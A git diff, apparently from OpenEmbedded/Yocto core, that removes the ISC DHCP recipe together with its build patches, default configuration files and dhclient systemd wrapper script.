- rm -f $D/${localstatedir}/lib/dhcp/dhclient6.leases
-
- if ! rmdir $D/${localstatedir}/lib/dhcp 2>/dev/null; then
- echo "Not removing ${localstatedir}/lib/dhcp as it is non-empty."
- fi
-}
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch b/meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch
deleted file mode 100644
index d1b57f0bb4..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 7cc29144535a622fc671dc86eb1da65b0473a7c4 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 16:14:22 +0800
-Subject: [PATCH 01/11] define macro _PATH_DHCPD_CONF and _PATH_DHCLIENT_CONF
-
-Upstream-Status: Inappropriate [OE specific]
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- includes/site.h | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-Index: dhcp-4.4.1/includes/site.h
-===================================================================
---- dhcp-4.4.1.orig/includes/site.h
-+++ dhcp-4.4.1/includes/site.h
-@@ -148,7 +148,8 @@
- /* Define this if you want the dhcpd.conf file to go somewhere other than
- the default location. By default, it goes in /etc/dhcpd.conf. */
-
--/* #define _PATH_DHCPD_CONF "/etc/dhcpd.conf" */
-+#define _PATH_DHCPD_CONF "/etc/dhcp/dhcpd.conf"
-+#define _PATH_DHCLIENT_CONF "/etc/dhcp/dhclient.conf"
-
- /* Network API definitions. You do not need to choose one of these - if
- you don't choose, one will be chosen for you in your system's config
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0001-workaround-busybox-limitation-in-linux-dhclient-script.patch b/meta/recipes-connectivity/dhcp/dhcp/0001-workaround-busybox-limitation-in-linux-dhclient-script.patch
deleted file mode 100644
index 2359381b93..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0001-workaround-busybox-limitation-in-linux-dhclient-script.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From eec0503cfc36f63d777f5cb3f2719cecedcb8468 Mon Sep 17 00:00:00 2001
-From: Haris Okanovic <haris.okanovic@ni.com>
-Date: Mon, 7 Jan 2019 13:22:09 -0600
-Subject: [PATCH] Workaround busybox limitation in Linux dhclient-script
-
-Busybox is a lightweight implementation of coreutils commonly used on
-space-constrained embedded Linux distributions. It's implementation of
-chown and chmod doesn't provide a "--reference" option added to
-client/scripts/linux as of commit 9261cb14. This change works around
-that limitation by using stat to read ownership and permissions flags
-and simple chown/chmod calls supported in both coreutils and busybox.
-
- modified: client/scripts/linux
-
-Signed-off-by: Haris Okanovic <haris.okanovic@ni.com>
-Upstream-Status: Pending [ISC-Bugs #48771]
----
- client/scripts/linux | 17 +++++++++++++----
- 1 file changed, 13 insertions(+), 4 deletions(-)
-
-diff --git a/client/scripts/linux b/client/scripts/linux
-index 0c429697..2435a44b 100755
---- a/client/scripts/linux
-+++ b/client/scripts/linux
-@@ -32,6 +32,17 @@
- # if your system holds ip tool in a non-standard location.
- ip=/sbin/ip
-
-+chown_chmod_by_reference() {
-+ local reference_file="$1"
-+ local target_file="$2"
-+
-+ local owner=$(stat -c "%u:%g" "$reference_file")
-+ local perm=$(stat -c "%a" "$reference_file")
-+
-+ chown "$owner" "$target_file"
-+ chmod "$perm" "$target_file"
-+}
-+
- # update /etc/resolv.conf based on received values
- # This updated version mostly follows Debian script by Andrew Pollock et al.
- make_resolv_conf() {
-@@ -74,8 +85,7 @@ make_resolv_conf() {
- fi
-
- if [ -f /etc/resolv.conf ]; then
-- chown --reference=/etc/resolv.conf $new_resolv_conf
-- chmod --reference=/etc/resolv.conf $new_resolv_conf
-+ chown_chmod_by_reference /etc/resolv.conf $new_resolv_conf
- fi
- mv -f $new_resolv_conf /etc/resolv.conf
- # DHCPv6
-@@ -101,8 +111,7 @@ make_resolv_conf() {
- fi
-
- if [ -f /etc/resolv.conf ]; then
-- chown --reference=/etc/resolv.conf $new_resolv_conf
-- chmod --reference=/etc/resolv.conf $new_resolv_conf
-+ chown_chmod_by_reference /etc/resolv.conf $new_resolv_conf
- fi
- mv -f $new_resolv_conf /etc/resolv.conf
- fi
---
-2.20.0
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch b/meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch
deleted file mode 100644
index 101c33f677..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch
+++ /dev/null
@@ -1,117 +0,0 @@
-From be7540d31c356e80ee02e90e8bf162b7ac6e5ba5 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 14:56:56 +0800
-Subject: [PATCH 02/11] dhclient dbus
-
-Upstream-Status: Inappropriate [distribution]
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/scripts/bsdos | 5 +++++
- client/scripts/freebsd | 5 +++++
- client/scripts/linux | 5 +++++
- client/scripts/netbsd | 5 +++++
- client/scripts/openbsd | 5 +++++
- client/scripts/solaris | 5 +++++
- 6 files changed, 30 insertions(+)
-
-diff --git a/client/scripts/bsdos b/client/scripts/bsdos
-index d69d0d8..095b143 100755
---- a/client/scripts/bsdos
-+++ b/client/scripts/bsdos
-@@ -45,6 +45,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/freebsd b/client/scripts/freebsd
-index 8f3e2a2..ad7fb44 100755
---- a/client/scripts/freebsd
-+++ b/client/scripts/freebsd
-@@ -89,6 +89,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/linux b/client/scripts/linux
-index 5fb1612..3d447b6 100755
---- a/client/scripts/linux
-+++ b/client/scripts/linux
-@@ -174,6 +174,11 @@ exit_with_hooks() {
- exit_status=$?
- fi
-
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/netbsd b/client/scripts/netbsd
-index 07383b7..aaba8e8 100755
---- a/client/scripts/netbsd
-+++ b/client/scripts/netbsd
-@@ -45,6 +45,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/openbsd b/client/scripts/openbsd
-index e7f4746..56b980c 100644
---- a/client/scripts/openbsd
-+++ b/client/scripts/openbsd
-@@ -45,6 +45,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
-diff --git a/client/scripts/solaris b/client/scripts/solaris
-index af553b9..4a2aa69 100755
---- a/client/scripts/solaris
-+++ b/client/scripts/solaris
-@@ -26,6 +26,11 @@ exit_with_hooks() {
- . /etc/dhclient-exit-hooks
- fi
- # probably should do something with exit status of the local script
-+ if [ x$dhc_dbus != x -a $exit_status -eq 0 ]; then
-+ dbus-send --system --dest=com.redhat.dhcp \
-+ --type=method_call /com/redhat/dhcp/$interface com.redhat.dhcp.set \
-+ 'string:'"`env | grep -Ev '^(PATH|SHLVL|_|PWD|dhc_dbus)\='`"
-+ fi
- exit $exit_status
- }
-
---
-1.8.3.1
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch b/meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch
deleted file mode 100644
index 5b35933a54..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From d80bd792323dbd56269309f85b4506eb6b1b60e9 Mon Sep 17 00:00:00 2001
-From: Andrei Gherzan <andrei@gherzan.ro>
-Date: Tue, 15 Aug 2017 15:05:47 +0800
-Subject: [PATCH 03/11] link with lcrypto
-
-From 4.2.0 final release, -lcrypto check was removed and we compile
-static libraries
-from bind that are linked to libcrypto. This is why i added a patch in
-order to add
--lcrypto to LIBS.
-
-Upstream-Status: Pending
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 4 ++++
- 1 file changed, 4 insertions(+)
-
-Index: dhcp-4.4.1/configure.ac
-===================================================================
---- dhcp-4.4.1.orig/configure.ac
-+++ dhcp-4.4.1/configure.ac
-@@ -612,6 +612,10 @@ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[]],
- # Look for optional headers.
- AC_CHECK_HEADERS(sys/socket.h net/if_dl.h net/if6.h regex.h)
-
-+# find an MD5 library
-+AC_SEARCH_LIBS(MD5_Init, [crypto])
-+AC_SEARCH_LIBS(MD5Init, [crypto])
-+
- # Solaris needs some libraries for functions
- AC_SEARCH_LIBS(socket, [socket])
- AC_SEARCH_LIBS(inet_ntoa, [nsl])
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch b/meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch
deleted file mode 100644
index 7b57730ffb..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch
+++ /dev/null
@@ -1,95 +0,0 @@
-From cccec0344d68dac4100b6f260ee24e7c2da9dfda Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 15:08:22 +0800
-Subject: [PATCH 04/11] Fix out of tree builds
-
-Upstream-Status: Pending
-
-RP 2013/03/21
-
-Rebase to 4.3.6
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/Makefile.am | 4 ++--
- common/Makefile.am | 3 ++-
- dhcpctl/Makefile.am | 2 ++
- omapip/Makefile.am | 1 +
- relay/Makefile.am | 2 +-
- server/Makefile.am | 2 +-
- 6 files changed, 9 insertions(+), 5 deletions(-)
-
-Index: dhcp-4.4.1/common/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/common/Makefile.am
-+++ dhcp-4.4.1/common/Makefile.am
-@@ -1,4 +1,5 @@
--AM_CPPFLAGS = -I$(top_srcdir) -DLOCALSTATEDIR='"@localstatedir@"'
-+AM_CPPFLAGS = -I$(top_srcdir)/includes -I$(top_srcdir) -DLOCALSTATEDIR='"@localstatedir@"'
-+
- AM_CFLAGS = $(LDAP_CFLAGS)
-
- lib_LIBRARIES = libdhcp.a
-Index: dhcp-4.4.1/dhcpctl/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/dhcpctl/Makefile.am
-+++ dhcp-4.4.1/dhcpctl/Makefile.am
-@@ -3,6 +3,8 @@ BINDLIBDNSDIR=@BINDLIBDNSDIR@
- BINDLIBISCCFGDIR=@BINDLIBISCCFGDIR@
- BINDLIBISCDIR=@BINDLIBISCDIR@
-
-+AM_CPPFLAGS = -I$(top_srcdir)/includes -I$(top_srcdir)
-+
- bin_PROGRAMS = omshell
- lib_LIBRARIES = libdhcpctl.a
- noinst_PROGRAMS = cltest
-Index: dhcp-4.4.1/server/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/server/Makefile.am
-+++ dhcp-4.4.1/server/Makefile.am
-@@ -4,7 +4,7 @@
- # production code. Sadly, we are not there yet.
- SUBDIRS = . tests
-
--AM_CPPFLAGS = -I.. -DLOCALSTATEDIR='"@localstatedir@"'
-+AM_CPPFLAGS = -I$(top_srcdir) -DLOCALSTATEDIR='"@localstatedir@"' -I$(top_srcdir)/includes
-
- dist_sysconf_DATA = dhcpd.conf.example
- sbin_PROGRAMS = dhcpd
-Index: dhcp-4.4.1/client/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/client/Makefile.am
-+++ dhcp-4.4.1/client/Makefile.am
-@@ -5,7 +5,7 @@
- SUBDIRS = . tests
-
- AM_CPPFLAGS = -DCLIENT_PATH='"PATH=$(sbindir):/sbin:/bin:/usr/sbin:/usr/bin"'
--AM_CPPFLAGS += -DLOCALSTATEDIR='"$(localstatedir)"'
-+AM_CPPFLAGS += -DLOCALSTATEDIR='"$(localstatedir)"' -I$(top_srcdir)/includes
-
- dist_sysconf_DATA = dhclient.conf.example
- sbin_PROGRAMS = dhclient
-Index: dhcp-4.4.1/omapip/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/omapip/Makefile.am
-+++ dhcp-4.4.1/omapip/Makefile.am
-@@ -2,6 +2,7 @@ BINDLIBIRSDIR=@BINDLIBIRSDIR@
- BINDLIBDNSDIR=@BINDLIBDNSDIR@
- BINDLIBISCCFGDIR=@BINDLIBISCCFGDIR@
- BINDLIBISCDIR=@BINDLIBISCDIR@
-+AM_CPPFLAGS = -I$(top_srcdir)/includes
-
- lib_LIBRARIES = libomapi.a
- noinst_PROGRAMS = svtest
-Index: dhcp-4.4.1/relay/Makefile.am
-===================================================================
---- dhcp-4.4.1.orig/relay/Makefile.am
-+++ dhcp-4.4.1/relay/Makefile.am
-@@ -1,6 +1,6 @@
- SUBDIRS = . tests
-
--AM_CPPFLAGS = -DLOCALSTATEDIR='"@localstatedir@"'
-+AM_CPPFLAGS = -DLOCALSTATEDIR='"@localstatedir@"' -I$(top_srcdir)/includes
-
- sbin_PROGRAMS = dhcrelay
- dhcrelay_SOURCES = dhcrelay.c
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch b/meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch
deleted file mode 100644
index dd56381b1d..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 2e8ff0e4f6d39e346ea86b8c514ab4ccc78fa359 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 15:24:14 +0800
-Subject: [PATCH 05/11] dhcp-client: fix invoke dhclient-script failed on
- Read-only file system
-
-In read-only file system, '/etc' is on the readonly partition,
-and '/etc/resolv.conf' is symlinked to a separate writable
-partition.
-
-In this situation, we create temp files 'resolv.conf.dhclient-new'
-in /tmp dir.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/scripts/linux | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/client/scripts/linux b/client/scripts/linux
-index 3d447b6..3122a75 100755
---- a/client/scripts/linux
-+++ b/client/scripts/linux
-@@ -40,7 +40,7 @@ make_resolv_conf() {
- # DHCPv4
- if [ -n "$new_domain_search" ] || [ -n "$new_domain_name" ] ||
- [ -n "$new_domain_name_servers" ]; then
-- new_resolv_conf=/etc/resolv.conf.dhclient-new
-+ new_resolv_conf=/tmp/resolv.conf.dhclient-new
- rm -f $new_resolv_conf
-
- if [ -n "$new_domain_name" ]; then
---
-1.8.3.1
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch b/meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch
deleted file mode 100644
index feb0754fff..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 7107511fd209f08f9a96f8938041ae48f3295895 Mon Sep 17 00:00:00 2001
-From: Christopher Larson <chris_larson@mentor.com>
-Date: Tue, 15 Aug 2017 16:17:49 +0800
-Subject: [PATCH 07/11] Add configure argument to make the libxml2 dependency
- explicit and determinisitic.
-
-Upstream-Status: Pending
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-
-Rebase to 4.3.6
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 11 +++++++++++
- 1 file changed, 11 insertions(+)
-
-Index: dhcp-4.4.1/configure.ac
-===================================================================
---- dhcp-4.4.1.orig/configure.ac
-+++ dhcp-4.4.1/configure.ac
-@@ -642,6 +642,17 @@ if test "$have_nanosleep" = "rt"; then
- LIBS="-lrt $LIBS"
- fi
-
-+AC_ARG_WITH(libxml2,
-+ AS_HELP_STRING([--with-libxml2], [link against libxml2. this is needed if bind was built with xml2 support enabled]),
-+ with_libxml2="$withval", with_libxml2="no")
-+
-+if test x$with_libxml2 != xno; then
-+ AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],
-+ [if test x$with_libxml2 != xauto; then
-+ AC_MSG_FAILURE([*** Cannot find xmlTextWriterStartElement with -lxml2 and libxml2 was requested])
-+ fi])
-+fi
-+
- # check for /dev/random (declares HAVE_DEV_RANDOM)
- AC_MSG_CHECKING(for random device)
- AC_ARG_WITH(randomdev,
-Index: dhcp-4.4.1/configure.ac+lt
-===================================================================
---- dhcp-4.4.1.orig/configure.ac+lt
-+++ dhcp-4.4.1/configure.ac+lt
-@@ -909,6 +909,18 @@ elif test "$want_libtool" = "yes" -a "$u
- fi
- AM_CONDITIONAL(INSTALL_BIND, test "$want_install_bind" = "yes")
-
-+AC_ARG_WITH(libxml2,
-+ AS_HELP_STRING([--with-libxml2], [link against libxml2. this is needed if bind was built with xml2 support enabled]),
-+ with_libxml2="$withval", with_libxml2="no")
-+
-+if test x$with_libxml2 != xno; then
-+ AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],,
-+ [if test x$with_libxml2 != xauto; then
-+ AC_MSG_FAILURE([*** Cannot find xmlTextWriterStartElement with -lxml2 and libxml2 was requested])
-+ fi])
-+fi
-+
-+
- # OpenLDAP support.
- AC_ARG_WITH(ldap,
- AS_HELP_STRING([--with-ldap],[enable OpenLDAP support in dhcpd (default is no)]),
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch b/meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch
deleted file mode 100644
index 912b6d6312..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f3f8b7726e50e24ef3edf5fa5a17e31d39118d7e Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 15 Aug 2017 15:49:31 +0800
-Subject: [PATCH 09/11] remove dhclient-script bash dependency
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-
-Rebase to 4.3.6
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- client/scripts/linux | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/client/scripts/linux b/client/scripts/linux
-index 3122a75..1712d7d 100755
---- a/client/scripts/linux
-+++ b/client/scripts/linux
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
- # dhclient-script for Linux. Dan Halbert, March, 1997.
- # Updated for Linux 2.[12] by Brian J. Murrell, January 1999.
- # No guarantees about this. I'm a novice at the details of Linux
---
-1.8.3.1
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch b/meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch
deleted file mode 100644
index 39ba65fbc4..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 501543b3ef715488a142e3d301ff2733aa33eec7 Mon Sep 17 00:00:00 2001
-From: Awais Belal <awais_belal@mentor.com>
-Date: Wed, 25 Oct 2017 21:00:05 +0500
-Subject: [PATCH] dhcp: correct the intention for xml2 lib search
-
-A missing case breaks the build when libxml2 is
-required and found appropriately. The third argument
-to the function AC_SEARCH_LIB is action-if-found which
-was mistakenly been used for the case where the library
-is not found and hence breaks the configure phase
-where it shoud actually pass.
-We now pass on silently when action-if-found is
-executed.
-
-Upstream-Status: Pending
-
-Signed-off-by: Awais Belal <awais_belal@mentor.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: dhcp-4.4.1/configure.ac
-===================================================================
---- dhcp-4.4.1.orig/configure.ac
-+++ dhcp-4.4.1/configure.ac
-@@ -647,7 +647,7 @@ AC_ARG_WITH(libxml2,
- with_libxml2="$withval", with_libxml2="no")
-
- if test x$with_libxml2 != xno; then
-- AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],
-+ AC_SEARCH_LIBS(xmlTextWriterStartElement, [xml2],,
- [if test x$with_libxml2 != xauto; then
- AC_MSG_FAILURE([*** Cannot find xmlTextWriterStartElement with -lxml2 and libxml2 was requested])
- fi])
diff --git a/meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch b/meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch
deleted file mode 100644
index fcec010bd0..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-lib and include path is hardcoded for use_libbind
-
-use libdir and includedir vars
-
-Upstream-Status: Pending
-Signed-off-by: Armin Kuster <akuster808@gmail.com>
-
-Index: dhcp-4.4.1/configure.ac+lt
-===================================================================
---- dhcp-4.4.1.orig/configure.ac+lt
-+++ dhcp-4.4.1/configure.ac+lt
-@@ -801,22 +801,22 @@ no)
- if test ! -d "$use_libbind"; then
- AC_MSG_ERROR([Cannot find bind directory at $use_libbind])
- fi
-- if test ! -d "$use_libbind/include" -o \
-- ! -f "$use_libbind/include/isc/buffer.h"
-+ if test ! -d "$use_libbind/$includedir" -o \
-+ ! -f "$use_libbind/$includedir/isc/buffer.h"
- then
-- AC_MSG_ERROR([Cannot find bind includes at $use_libbind/include])
-+ AC_MSG_ERROR([Cannot find bind includes at $use_libbind/$includedir])
- fi
-- if test ! -d "$use_libbind/lib" -o \
-- \( ! -f "$use_libbind/lib/libisc.a" -a \
-- ! -f "$use_libbind/lib/libisc.la" \)
-+ if test ! -d "$use_libbind/$libdir" -o \
-+ \( ! -f "$use_libbind/$libdir/libisc.a" -a \
-+ ! -f "$use_libbind/$libdir/libisc.la" \)
- then
-- AC_MSG_ERROR([Cannot find bind libraries at $use_libbind/lib])
-+ AC_MSG_ERROR([Cannot find bind libraries at $use_libbind/$libdir])
- fi
- BINDDIR="$use_libbind"
-- BINDLIBIRSDIR="$BINDDIR/lib"
-- BINDLIBDNSDIR="$BINDDIR/lib"
-- BINDLIBISCCFGDIR="$BINDDIR/lib"
-- BINDLIBISCDIR="$BINDDIR/lib"
-+ BINDLIBIRSDIR="$BINDDIR/$libdir"
-+ BINDLIBDNSDIR="$BINDDIR/$libdir"
-+ BINDLIBISCCFGDIR="$BINDDIR/$libdir"
-+ BINDLIBISCDIR="$BINDDIR/$libdir"
- DISTCHECK_LIBBIND_CONFIGURE_FLAG="--with-libbind=$use_libbind"
- ;;
- esac
-@@ -856,14 +856,14 @@ AC_ARG_ENABLE(libtool,
-
- if test "$use_libbind" != "no"; then
- if test "$want_libtool" = "yes" -a \
-- ! -f "$use_libbind/lib/libisc.la"
-+ ! -f "$use_libbind/$libdir/libisc.la"
- then
-- AC_MSG_ERROR([Cannot find dynamic libraries at $use_libbind/lib])
-+ AC_MSG_ERROR([Cannot find dynamic libraries at $use_libbind/$libdir])
- fi
- if test "$want_libtool" = "no" -a \
-- ! -f "$use_libbind/lib/libisc.a"
-+ ! -f "$use_libbind/$libdir/libisc.a"
- then
-- AC_MSG_ERROR([Cannot find static libraries at $use_libbind/lib])
-+ AC_MSG_ERROR([Cannot find static libraries at $use_libbind/$libdir])
- fi
- fi
-
diff --git a/meta/recipes-connectivity/dhcp/dhcp_4.4.2.bb b/meta/recipes-connectivity/dhcp/dhcp_4.4.2.bb
deleted file mode 100644
index cf4af82609..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp_4.4.2.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require dhcp.inc
-
-SRC_URI += "file://0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch \
- file://0002-dhclient-dbus.patch \
- file://0003-link-with-lcrypto.patch \
- file://0004-Fix-out-of-tree-builds.patch \
- file://0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch \
- file://0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch \
- file://0009-remove-dhclient-script-bash-dependency.patch \
- file://0012-dhcp-correct-the-intention-for-xml2-lib-search.patch \
- file://0013-fixup_use_libbind.patch \
- file://0001-workaround-busybox-limitation-in-linux-dhclient-script.patch \
-"
-
-SRC_URI[md5sum] = "2afdaf8498dc1edaf3012efdd589b3e1"
-SRC_URI[sha256sum] = "1a7ccd64a16e5e68f7b5e0f527fd07240a2892ea53fe245620f4f5f607004521"
-
-LDFLAGS_append = " -pthread"
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[bind-httpstats] = "--with-libxml2,--without-libxml2,libxml2"
-
-CFLAGS += "-fcommon"
diff --git a/meta/recipes-connectivity/dhcp/files/default-relay b/meta/recipes-connectivity/dhcp/files/default-relay
deleted file mode 100644
index 7961f014be..0000000000
--- a/meta/recipes-connectivity/dhcp/files/default-relay
+++ /dev/null
@@ -1,12 +0,0 @@
-# Defaults for dhcp-relay initscript
-# sourced by /etc/init.d/dhcp-relay
-
-# What servers should the DHCP relay forward requests to?
-# e.g: SERVERS="192.168.0.1"
-SERVERS=""
-
-# On what interfaces should the DHCP relay (dhrelay) serve DHCP requests?
-INTERFACES=""
-
-# Additional options that are passed to the DHCP relay daemon?
-OPTIONS=""
diff --git a/meta/recipes-connectivity/dhcp/files/default-server b/meta/recipes-connectivity/dhcp/files/default-server
deleted file mode 100644
index 0385d16992..0000000000
--- a/meta/recipes-connectivity/dhcp/files/default-server
+++ /dev/null
@@ -1,7 +0,0 @@
-# Defaults for dhcp initscript
-# sourced by /etc/init.d/dhcp-server
-# installed at /etc/default/dhcp-server by the maintainer scripts
-
-# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
-# Separate multiple interfaces with spaces, e.g. "eth0 eth1".
-INTERFACES=""
diff --git a/meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper b/meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper
deleted file mode 100644
index 7d0e224a1d..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/sh
-
-# In case the interface is used for nfs, skip it.
-nfsroot=0
-interfaces=""
-exec 9<&0 < /proc/mounts
-while read dev mtpt fstype rest; do
- if test $mtpt = "/" ; then
- case $fstype in
- nfs | nfs4)
- nfsroot=1
- nfs_addr=`echo $rest | sed -e 's/^.*addr=\([0-9.]*\).*$/\1/'`
- break
- ;;
- *)
- ;;
- esac
- fi
-done
-exec 0<&9 9<&-
-
-if [ $nfsroot -eq 0 ]; then
- interfaces="$INTERFACES"
-else
- if [ -x /bin/ip -o -x /sbin/ip ] ; then
- nfs_iface=`ip route get $nfs_addr | grep dev | sed -e 's/^.*dev \([-a-z0-9.]*\).*$/\1/'`
- fi
- for i in $INTERFACES; do
- if test "x$i" = "x$nfs_iface"; then
- echo "dhclient skipping nfsroot interface $i"
- else
- interfaces="$interfaces $i"
- fi
- done
-fi
-
-if test "x$interfaces" != "x"; then
- /sbin/dhclient -d -cf /etc/dhcp/dhclient.conf -q -lf /var/lib/dhcp/dhclient.leases $interfaces
-fi
diff --git a/meta/recipes-connectivity/dhcp/files/dhclient.conf b/meta/recipes-connectivity/dhcp/files/dhclient.conf
deleted file mode 100644
